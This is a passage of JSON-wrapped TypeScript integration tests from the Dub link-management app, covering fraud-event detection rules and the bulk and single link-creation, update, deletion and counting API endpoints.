= randomCustomer({ emailDomain: \"google.com\" });\n\n    await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        eventName: \"Signup\",\n        clickId: trackedClickId,\n        customerId: customer.externalId,\n        customerName: customer.name,\n        customerEmail: customer.email,\n        customerAvatar: customer.avatar,\n      },\n    });\n\n    await verifyFraudEvent({\n      http,\n      partner: E2E_FRAUD_PARTNER,\n      customer,\n      ruleType: \"customerEmailMatch\",\n      metadata: {\n        matchType: CustomerEmailMatchType.HISTORICAL_DOMAIN_MATCH,\n      },\n    });\n  });\n\n  test(\"FraudRuleType = customerEmailSuspiciousDomain\", async () => {\n    const clickLink = E2E_FRAUD_PARTNER.links.customerEmailSuspiciousDomain;\n\n    // Track a click\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: {\n        ...E2E_TRACK_CLICK_HEADERS,\n      },\n      body: {\n        domain: clickLink.domain,\n        key: clickLink.key,\n      },\n    });\n\n    const trackedClickId = clickResponse.data.clickId;\n\n    // Track a lead\n    const customer = randomCustomer({ emailDomain: \"email-temp.com\" });\n\n    await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        eventName: \"Signup\",\n        clickId: trackedClickId,\n        customerId: customer.externalId,\n        customerName: customer.name,\n        customerEmail: customer.email,\n        customerAvatar: customer.avatar,\n      },\n    });\n\n    await verifyFraudEvent({\n      http,\n      partner: E2E_FRAUD_PARTNER,\n      customer,\n      ruleType: \"customerEmailSuspiciousDomain\",\n    });\n  });\n\n  test(\"FraudRuleType = referralSourceBanned\", async () => {\n    const clickLink = E2E_FRAUD_PARTNER.links.referralSourceBanned;\n\n    // Track a click\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: {\n        ...E2E_TRACK_CLICK_HEADERS,\n        referer: `https://${E2E_FRAUD_REFERRAL_SOURCE_BANNED_DOMAIN}`,\n      },\n      body: {\n        domain: clickLink.domain,\n        key: clickLink.key,\n      },\n    });\n\n    const trackedClickId = clickResponse.data.clickId;\n\n    // Track a lead\n    const customer = randomCustomer();\n\n    await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        eventName: \"Signup\",\n        clickId: trackedClickId,\n        customerId: customer.externalId,\n        customerName: customer.name,\n        customerEmail: customer.email,\n        customerAvatar: customer.avatar,\n      },\n    });\n\n    await verifyFraudEvent({\n      http,\n      customer,\n      partner: E2E_FRAUD_PARTNER,\n      ruleType: \"referralSourceBanned\",\n      metadata: {\n        source: E2E_FRAUD_REFERRAL_SOURCE_BANNED_DOMAIN,\n      },\n    });\n  });\n\n  test(\"FraudRuleType = paidTrafficDetected\", async () => {\n    const clickLink = E2E_FRAUD_PARTNER.links.paidTrafficDetected;\n\n    // Track a click\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: {\n        ...E2E_TRACK_CLICK_HEADERS,\n      },\n      body: {\n        domain: clickLink.domain,\n        key: clickLink.key,\n        url: \"https://dub.co/paid-traffic?gclid=1234567890&gad_source=1\",\n      },\n    });\n\n    const trackedClickId = clickResponse.data.clickId;\n\n    // Track a lead\n    const customer = randomCustomer();\n\n    await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        eventName: \"Signup\",\n        clickId: trackedClickId,\n        customerId: customer.externalId,\n        customerName: customer.name,\n        customerEmail: customer.email,\n        customerAvatar: customer.avatar,\n      },\n    });\n\n    await verifyFraudEvent({\n      http,\n      partner: E2E_FRAUD_PARTNER,\n      customer,\n      ruleType: \"paidTrafficDetected\",\n      metadata: {\n        source: \"google\",\n        url: \"https://dub.co/paid-traffic?gclid=1234567890&gad_source=1\",\n      },\n    });\n  });\n});\n\nconst verifyFraudEvent = async ({\n  http,\n  partner,\n  customer,\n  ruleType,\n  metadata,\n}: {\n  http: HttpClient;\n  partner: Pick<Partner, \"id\" | \"name\" | \"email\" | \"image\">;\n  customer: Pick<Customer, \"externalId\">;\n  ruleType: FraudRuleType;\n  metadata?: Record<string, unknown>;\n}) => {\n  // Resolve customerId from customerExternalID\n  const { data: customers } = await http.get<Customer[]>({\n    path: \"/customers\",\n    query: { externalId: customer.externalId },\n  });\n\n  expect(customers.length).toBeGreaterThan(0);\n\n  // Wait until fraud event is available\n  const fraudEvent = await waitForFraudEvent({\n    http,\n    customerId: customers[0].id,\n    ruleType,\n  });\n\n  // Assert fraud event shape\n  expect(fraudEvent).toStrictEqual({\n    createdAt: expect.any(String),\n    partner: expect.objectContaining({\n      id: partner.id,\n      name: partner.name,\n      email: partner.email,\n      image: partner.image,\n    }),\n    ...(metadata && { metadata }),\n    customer: expect.objectContaining({\n      id: customers[0].id,\n      name: customers[0].name,\n      email: customers[0].email,\n      avatar: customers[0].avatar,\n    }),\n  });\n};\n\nasync function waitForFraudEvent({\n  http,\n  customerId,\n  ruleType,\n}: {\n  http: HttpClient;\n  customerId: string;\n  ruleType: FraudRuleType;\n}) {\n  return await retry(\n    async () => {\n      const { data } = await http.get<\n        z.infer<(typeof fraudEventSchemas)[keyof typeof fraudEventSchemas]>[]\n      >({\n        path: \"/fraud/events\",\n        query: {\n          customerId,\n          type: ruleType,\n        },\n      });\n\n      if (!data.length) {\n        throw new Error(\"Fraud event not ready.\");\n      }\n\n      return data[0];\n    },\n    { retries: 10, interval: 600 },\n  );\n}\n"
  },
  {
    "path": "apps/web/tests/links/bulk-create-link.test.ts",
    "content": "import { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { Link } from \"@dub/prisma/client\";\nimport { expect, onTestFinished, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { randomId } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK, E2E_TAG, E2E_TAG_2 } from \"../utils/resource\";\nimport { LinkSchema, expectedLink } from \"../utils/schema\";\n\ntype LinkWithTags = Link & {\n  tags?: { id: string; name: string; color: string }[];\n};\n\nconst { domain } = E2E_LINK;\n\nconst setupBulkTest = async (ctx: any) => {\n  const h = new IntegrationHarness(ctx);\n  const { workspace, http, user } = await h.init();\n  const workspaceId = workspace.id;\n  const projectId = normalizeWorkspaceId(workspaceId);\n  return { h, http, user, workspaceId, projectId };\n};\n\ninterface VerifyBulkLinksParams {\n  links: Link[];\n  bulkLinks: Array<{\n    url: string;\n    domain: string;\n    tagIds?: string[];\n    tagNames?: string[];\n  }>;\n  context: {\n    user: { id: string };\n    projectId: string;\n    workspaceId: string;\n  };\n  expectedTags?: { id: string; name: string; color: string }[];\n}\n\nconst verifyBulkLinks = ({\n  links,\n  bulkLinks,\n  context: { user, projectId, workspaceId },\n  expectedTags,\n}: VerifyBulkLinksParams) => {\n  const firstLink = links.find((l) => l.url === bulkLinks[0].url);\n  const secondLink = links.find((l) => l.url === bulkLinks[1].url);\n\n  expect(links).toHaveLength(2);\n  expect(firstLink).toStrictEqual({\n    ...expectedLink,\n    url: bulkLinks[0].url,\n    userId: user.id,\n    projectId,\n    workspaceId,\n    shortLink: `https://${domain}/${firstLink?.key}`,\n    qrCode: `https://api.dub.co/qr?url=https://${domain}/${firstLink?.key}?qr=1`,\n    ...(expectedTags ? { tags: expectedTags, tagId: expectedTags[0].id } : {}),\n  });\n  expect(secondLink).toStrictEqual({\n    ...expectedLink,\n    url: bulkLinks[1].url,\n    userId: user.id,\n    projectId,\n    workspaceId,\n    shortLink: `https://${domain}/${secondLink?.key}`,\n    qrCode: `https://api.dub.co/qr?url=https://${domain}/${secondLink?.key}?qr=1`,\n    ...(expectedTags ? { tags: expectedTags, tagId: expectedTags[0].id } : {}),\n  });\n  expect(z.array(LinkSchema.strict()).parse(links)).toBeTruthy();\n};\n\ntest(\"POST /links/bulk\", async (ctx) => {\n  const testContext = await setupBulkTest(ctx);\n  const { h } = testContext;\n\n  const bulkLinks = Array.from({ length: 2 }, () => ({\n    url: `https://example.com/${randomId()}`,\n    domain,\n  }));\n\n  const { status, data: links } = await testContext.http.post<Link[]>({\n    path: \"/links/bulk\",\n    body: bulkLinks,\n  });\n\n  onTestFinished(async () => {\n    await Promise.all([h.deleteLink(links[0].id), h.deleteLink(links[1].id)]);\n  });\n\n  expect(status).toEqual(200);\n  verifyBulkLinks({ links, bulkLinks, context: testContext });\n});\n\ntest(\"POST /links/bulk with tag ID\", async (ctx) => {\n  const testContext = await setupBulkTest(ctx);\n  const { h } = testContext;\n\n  const bulkLinks = Array.from({ length: 2 }, () => ({\n    url: `https://example.com/${randomId()}`,\n    domain,\n    tagIds: [E2E_TAG.id],\n  }));\n\n  const { status, data: links } = await testContext.http.post<Link[]>({\n    path: \"/links/bulk\",\n    body: bulkLinks,\n  });\n\n  onTestFinished(async () => {\n    await Promise.all([h.deleteLink(links[0].id), h.deleteLink(links[1].id)]);\n  });\n\n  expect(status).toEqual(200);\n  verifyBulkLinks({\n    links,\n    bulkLinks,\n    context: testContext,\n    expectedTags: [E2E_TAG],\n  });\n});\n\ntest(\"POST /links/bulk with tag name\", async (ctx) => {\n  const testContext = await setupBulkTest(ctx);\n  const { h } = testContext;\n\n  const bulkLinks = Array.from({ length: 2 }, () => ({\n    url: `https://example.com/${randomId()}`,\n    domain,\n    tagNames: [E2E_TAG.name],\n  }));\n\n  const { status, data: links } = await testContext.http.post<Link[]>({\n    path: \"/links/bulk\",\n    body: bulkLinks,\n  });\n\n  onTestFinished(async () => {\n    await Promise.all([h.deleteLink(links[0].id), h.deleteLink(links[1].id)]);\n  });\n\n  expect(status).toEqual(200);\n  verifyBulkLinks({\n    links,\n    bulkLinks,\n    context: testContext,\n    expectedTags: [E2E_TAG],\n  });\n});\n\ntest(\"POST /links/bulk with multiple tags (by ID)\", async (ctx) => {\n  const testContext = await setupBulkTest(ctx);\n  const { h } = testContext;\n\n  const bulkLinks = Array.from({ length: 2 }, () => ({\n    url: `https://example.com/${randomId()}`,\n    domain,\n    tagIds: [E2E_TAG_2.id, E2E_TAG.id],\n  }));\n\n  const { status, data: links } = await testContext.http.post<Link[]>({\n    path: \"/links/bulk\",\n    body: bulkLinks,\n  });\n\n  onTestFinished(async () => {\n    await Promise.all([h.deleteLink(links[0].id), h.deleteLink(links[1].id)]);\n  });\n\n  expect(status).toEqual(200);\n  verifyBulkLinks({\n    links,\n    bulkLinks,\n    context: testContext,\n    expectedTags: [E2E_TAG_2, E2E_TAG],\n  });\n});\n\ntest(\"POST /links/bulk with multiple tags (by name)\", async (ctx) => {\n  const testContext = await setupBulkTest(ctx);\n  const { h } = testContext;\n\n  const bulkLinks = Array.from({ length: 2 }, () => ({\n    url: `https://example.com/${randomId()}`,\n    domain,\n    tagNames: [E2E_TAG_2.name, E2E_TAG.name],\n  }));\n\n  const { status, data: links } = await testContext.http.post<Link[]>({\n    path: \"/links/bulk\",\n    body: bulkLinks,\n  });\n\n  onTestFinished(async () => {\n    await Promise.all([h.deleteLink(links[0].id), h.deleteLink(links[1].id)]);\n  });\n\n  expect(status).toEqual(200);\n  verifyBulkLinks({\n    links,\n    bulkLinks,\n    context: testContext,\n    expectedTags: [E2E_TAG_2, E2E_TAG],\n  });\n});\n\ntest(\"POST /links/bulk assigns correct tags to each link (no tag mixing)\", async (ctx) => {\n  const testContext = await setupBulkTest(ctx);\n  const { h } = testContext;\n\n  const bulkLinks = [\n    {\n      url: `https://example.com/${randomId()}`,\n      domain,\n      tagNames: [E2E_TAG.name],\n    },\n    {\n      url: `https://example.com/${randomId()}`,\n      domain,\n      tagNames: [E2E_TAG_2.name],\n    },\n    {\n      url: `https://example.com/${randomId()}`,\n      domain,\n      tagNames: [E2E_TAG.name, E2E_TAG_2.name],\n    },\n  ];\n\n  const { status, data: links } = await testContext.http.post<LinkWithTags[]>({\n    path: \"/links/bulk\",\n    body: bulkLinks,\n  });\n\n  onTestFinished(async () => {\n    await Promise.all([\n      h.deleteLink(links[0].id),\n      h.deleteLink(links[1].id),\n      h.deleteLink(links[2].id),\n    ]);\n  });\n\n  expect(status).toEqual(200);\n  expect(links).toHaveLength(3);\n\n  const link1 = links.find((l) => l.url === bulkLinks[0].url);\n  expect(link1?.tags).toHaveLength(1);\n  expect(link1?.tags?.map((t) => t.id)).toContain(E2E_TAG.id);\n\n  const link2 = links.find((l) => l.url === bulkLinks[1].url);\n  expect(link2?.tags).toHaveLength(1);\n  expect(link2?.tags?.map((t) => t.id)).toContain(E2E_TAG_2.id);\n\n  const link3 = links.find((l) => l.url === bulkLinks[2].url);\n  expect(link3?.tags).toHaveLength(2);\n  expect(link3?.tags?.map((t) => t.id)).toContain(E2E_TAG.id);\n  expect(link3?.tags?.map((t) => t.id)).toContain(E2E_TAG_2.id);\n});\n"
  },
  {
    "path": "apps/web/tests/links/bulk-delete-link.test.ts",
    "content": "import { Link } from \"@dub/prisma/client\";\nimport { expect, test } from \"vitest\";\nimport { randomId } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK } from \"../utils/resource\";\n\nconst { domain } = E2E_LINK;\n\ntest(\"DELETE /links/bulk\", async (ctx) => {\n  const h = new IntegrationHarness(ctx);\n  const { http } = await h.init();\n\n  const bulkLinks = Array.from({ length: 2 }, () => ({\n    url: `https://example.com/${randomId()}`,\n    domain,\n  }));\n\n  const { data: links } = await http.post<Link[]>({\n    path: \"/links/bulk\",\n    body: bulkLinks,\n  });\n\n  const linkIds = links.map((l) => l.id);\n  linkIds.push(\"some-random-id-that-does-not-exist\");\n\n  const { status, data } = await http.delete<{\n    deletedCount: number;\n  }>({\n    path: \"/links/bulk\",\n    query: {\n      linkIds: linkIds.join(\",\"),\n    },\n  });\n\n  expect(status).toEqual(200);\n  expect(data.deletedCount).toEqual(2);\n\n  // Verify that the links are deleted\n  const fetchedLinks = await Promise.all(\n    linkIds.map((id) => http.get<Link>({ path: `/links/${id}` })),\n  );\n\n  expect(fetchedLinks.every((l) => l.status === 404)).toBeTruthy();\n});\n"
  },
  {
    "path": "apps/web/tests/links/bulk-update-link.test.ts",
    "content": "import { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { Link, Tag } from \"@dub/prisma/client\";\nimport { expect, onTestFinished, test } from \"vitest\";\nimport { randomId, randomTagName } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK } from \"../utils/resource\";\nimport { expectedLink } from \"../utils/schema\";\n\nconst { domain, url } = E2E_LINK;\n\ntest(\"PATCH /links/bulk\", async (ctx) => {\n  const h = new IntegrationHarness(ctx);\n  const { workspace, http, user } = await h.init();\n  const workspaceId = workspace.id;\n  const projectId = normalizeWorkspaceId(workspaceId);\n\n  onTestFinished(async () => {\n    await Promise.all([\n      h.deleteLink(createdLinks[0].id),\n      h.deleteLink(createdLinks[1].id),\n      h.deleteTag(tag.id),\n    ]);\n  });\n\n  const { data: createdLinks } = await http.post<Link[]>({\n    path: \"/links/bulk\",\n    query: { workspaceId },\n    body: [\n      {\n        url: `https://example.com/${randomId()}`,\n        domain,\n      },\n      {\n        url,\n        domain: \"git.new\",\n      },\n    ],\n  });\n\n  // add a link that will not be found\n  const linkIds = createdLinks\n    .map(({ id }) => id)\n    .concat([\"xxx\"])\n    .filter(Boolean);\n\n  const tagName = randomTagName();\n  const { data: tag } = await http.post<Tag>({\n    path: \"/tags\",\n    query: { workspaceId },\n    body: {\n      tag: tagName,\n      color: \"red\",\n    },\n  });\n\n  const newData = {\n    url: `https://example.com/${randomId()}`,\n    tagIds: [tag.id],\n  };\n\n  const { status, data: links } = await http.patch<Link[]>({\n    path: \"/links/bulk\",\n    query: { workspaceId },\n    body: {\n      linkIds,\n      data: newData,\n    },\n  });\n\n  expect(status).toEqual(200);\n  expect(links).toHaveLength(3);\n\n  // first link should be updated\n  expect(links[0]).toStrictEqual({\n    ...expectedLink,\n    url: newData.url,\n    userId: user.id,\n    projectId,\n    workspaceId,\n    tagId: tag.id,\n    tags: [\n      {\n        id: tag.id,\n        name: tagName,\n        color: \"red\",\n      },\n    ],\n    shortLink: `https://${domain}/${createdLinks[0].key}`,\n    qrCode: `https://api.dub.co/qr?url=https://${domain}/${createdLinks[0].key}?qr=1`,\n  });\n\n  // second link should throw an error because it does not exist\n  expect(links[1]).toStrictEqual({\n    error: \"Link not found\",\n    code: \"not_found\",\n    link: { id: \"xxx\" },\n  });\n\n  // third link will throw an error because git.new only allows certain destination URLs\n  expect(links[2]).toStrictEqual({\n    error: `Invalid destination URL. You can only create git.new short links for URLs with the domain \"github.com\".`,\n    code: \"unprocessable_entity\",\n    link: expect.any(Object),\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/links/count-links.test.ts",
    "content": "import { Link } from \"@dub/prisma/client\";\nimport { afterAll, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK } from \"../utils/resource\";\n\nconst { domain, url } = E2E_LINK;\n\ntest(\"GET /links/count\", async (ctx) => {\n  const h = new IntegrationHarness(ctx);\n  const { http } = await h.init();\n\n  const [{ data: firstLink }] = await Promise.all([\n    http.post<Link>({\n      path: \"/links\",\n      body: { url, domain },\n    }),\n  ]);\n\n  const { status, data: count } = await http.get<Link[]>({\n    path: \"/links/count\",\n  });\n\n  expect(status).toEqual(200);\n  expect(count).toBeDefined();\n  expect(count).greaterThanOrEqual(1);\n\n  afterAll(async () => {\n    await h.deleteLink(firstLink.id);\n  });\n\n  // TODO:\n  // Assert actual value of count\n});\n"
  },
  {
    "path": "apps/web/tests/links/create-link-error.test.ts",
    "content": "import { Link } from \"@dub/prisma/client\";\nimport { expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK } from \"../utils/resource\";\n\nconst { domain, url } = E2E_LINK;\n\nconst cases = [\n  {\n    name: \"create link with domain not belonging to workspace\",\n    body: {\n      domain: \"google.com\",\n      url,\n    },\n    expected: {\n      status: 403,\n      data: {\n        error: {\n          code: \"forbidden\",\n          message: \"Domain does not belong to workspace.\",\n          doc_url: \"https://dub.co/docs/api-reference/errors#forbidden\",\n        },\n      },\n    },\n  },\n  {\n    name: \"create link with invalid destination URL\",\n    body: {\n      domain,\n      url: \"invalid\",\n    },\n    expected: {\n      status: 422,\n      data: {\n        error: {\n          code: \"unprocessable_entity\",\n          message: \"Invalid destination URL\",\n          doc_url:\n            \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n        },\n      },\n    },\n  },\n  {\n    name: \"create link with invalid tag id\",\n    body: {\n      domain,\n      url,\n      tagIds: [\"invalid\"],\n    },\n    expected: {\n      status: 422,\n      data: {\n        error: {\n          code: \"unprocessable_entity\",\n          message: \"Invalid tagIds detected: invalid\",\n          doc_url:\n            \"https://dub.co/docs/api-reference/errors#unprocessable-entity\",\n        },\n      },\n    },\n  },\n];\n\ncases.forEach(({ name, body, expected }) => {\n  test(name, async (ctx) => {\n    const h = new IntegrationHarness(ctx);\n    const { http } = await h.init();\n\n    const response = await http.post<Link>({\n      path: \"/links\",\n      body,\n    });\n\n    expect(response).toEqual(expected);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/links/create-link.test.ts",
    "content": "import { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { FolderSchema } from \"@/lib/zod/schemas/folders\";\nimport { Link, Tag } from \"@dub/prisma/client\";\nimport { IntegrationHarnessOld } from \"tests/utils/integration-old\";\nimport { describe, expect, onTestFinished, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { randomId, randomTagName } from \"../utils/helpers\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_LINK, E2E_WEBHOOK_ID } from \"../utils/resource\";\nimport { LinkSchema, expectedLink } from \"../utils/schema\";\n\ntype FolderRecord = z.infer<typeof FolderSchema>;\n\nconst { domain, url } = E2E_LINK;\n\ndescribe.sequential(\"POST /links\", async () => {\n  const h = new IntegrationHarness();\n  const { workspace, user, http } = await h.init();\n  const workspaceId = workspace.id;\n  const projectId = normalizeWorkspaceId(workspaceId);\n\n  test(\"public link\", async () => {\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain: \"dub.sh\",\n        publicStats: true,\n      },\n      headers: {\n        Authorization: \"\",\n        \"dub-anonymous-link-creation\": \"1\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      publicStats: true,\n      rewrite: false,\n      userId: null,\n      projectId: null,\n      workspaceId: null,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n  });\n\n  test(\"default domain\", async ({ onTestFinished }) => {\n    const externalId = randomId();\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        comments: \"This is a test\",\n        rewrite: true,\n        domain,\n        externalId,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      externalId,\n      comments: \"This is a test\",\n      rewrite: true,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"user defined key\", async ({ onTestFinished }) => {\n    const key = randomId();\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        key,\n        domain,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      key,\n      url,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"prefix\", async () => {\n    const prefix = \"gh\";\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<\n      Link & { shortLink: string }\n    >({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        prefix,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link.key.startsWith(prefix)).toBeTruthy();\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      domain,\n      url,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"custom keyLength\", async () => {\n    const keyLength = 12;\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        keyLength,\n      },\n    });\n\n    expect(status).toEqual(200);\n    // The key should be exactly keyLength characters long\n    expect(link.key).toHaveLength(keyLength);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"custom keyLength with prefix\", async () => {\n    const keyLength = 10;\n    const prefix = \"test\";\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        keyLength,\n        prefix,\n      },\n    });\n\n    expect(status).toEqual(200);\n    // The key should start with the prefix and have the specified length\n    expect(link.key.startsWith(prefix)).toBeTruthy();\n    // The total length should be prefix.length + \"/\" + keyLength\n    expect(link.key).toHaveLength(prefix.length + 1 + keyLength);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"utm builder\", async () => {\n    const longUrl = new URL(url);\n    const utm = {\n      utm_source: \"facebook\",\n      utm_medium: \"social\",\n      utm_campaign: \"summer\",\n      utm_term: \"shoes\",\n      utm_content: \"cta\",\n    };\n\n    Object.keys(utm).forEach((key) => {\n      longUrl.searchParams.set(key, utm[key]);\n    });\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url: longUrl.href,\n        domain,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      ...utm,\n      url: longUrl.href,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"password protection\", async () => {\n    const password = \"link-password\";\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        password,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      password,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"link expiration\", async () => {\n    const expiresAt = new Date(\"2030-04-16T17:00:00.000Z\");\n    const expiredUrl = \"https://github.com/expired\";\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        expiresAt,\n        expiredUrl,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      expiresAt: \"2030-04-16T17:00:00.000Z\",\n      expiredUrl,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"device targeting\", async () => {\n    const ios = \"https://apps.apple.com/app/1611158928\";\n    const android =\n      \"https://play.google.com/store/apps/details?id=com.disney.disneyplus\";\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        ios,\n        android,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      ios,\n      android,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"geo targeting\", async () => {\n    const geo = {\n      AF: `${url}/AF`,\n      AL: `${url}/AL`,\n      DZ: `${url}/DZ`,\n    };\n\n    onTestFinished(async () => {\n      await h.deleteLink(link.id);\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        geo,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      geo,\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"tags\", async () => {\n    const tagsToCreate = [\n      { tag: randomTagName(), color: \"red\" },\n      { tag: randomTagName(), color: \"green\" },\n    ];\n\n    const response = await Promise.all(\n      tagsToCreate.map(({ tag, color }) =>\n        http.post<Tag>({\n          path: \"/tags\",\n          body: { tag, color },\n        }),\n      ),\n    );\n\n    const tagIds = response.map((r) => r.data.id);\n    const tags = response.map((r) => {\n      return {\n        id: r.data.id,\n        name: r.data.name,\n        color: r.data.color,\n      };\n    });\n\n    onTestFinished(async () => {\n      await Promise.all([\n        ...tagIds.map((id) => h.deleteTag(id)),\n        h.deleteLink(link.id),\n      ]);\n    });\n\n    const { status, data: link } = await http.post<Link & { tags: [] }>({\n      path: \"/links\",\n      body: {\n        url,\n        domain,\n        tagIds,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(link.tags).toHaveLength(2);\n    expect(link).toStrictEqual({\n      ...expectedLink,\n      url,\n      tagId: expect.any(String), // TODO: Fix this\n      userId: user.id,\n      projectId,\n      workspaceId,\n      shortLink: `https://${domain}/${link.key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${domain}/${link.key}?qr=1`,\n      tags: expect.arrayContaining(tags),\n    });\n    expect(LinkSchema.strict().parse(link)).toBeTruthy();\n  });\n\n  test(\"folders\", async () => {\n    onTestFinished(async () => {\n      await Promise.all([h.deleteFolder(folder.id), h.deleteLink(link.id)]);\n    });\n\n    const { data: folder } = await http.post<FolderRecord>({\n      path: \"/folders\",\n      body: { name: randomId() },\n    });\n\n    const { status, data: link } = await http.post<Link>({\n      path: \"/links\",\n      body: {\n        url,\n        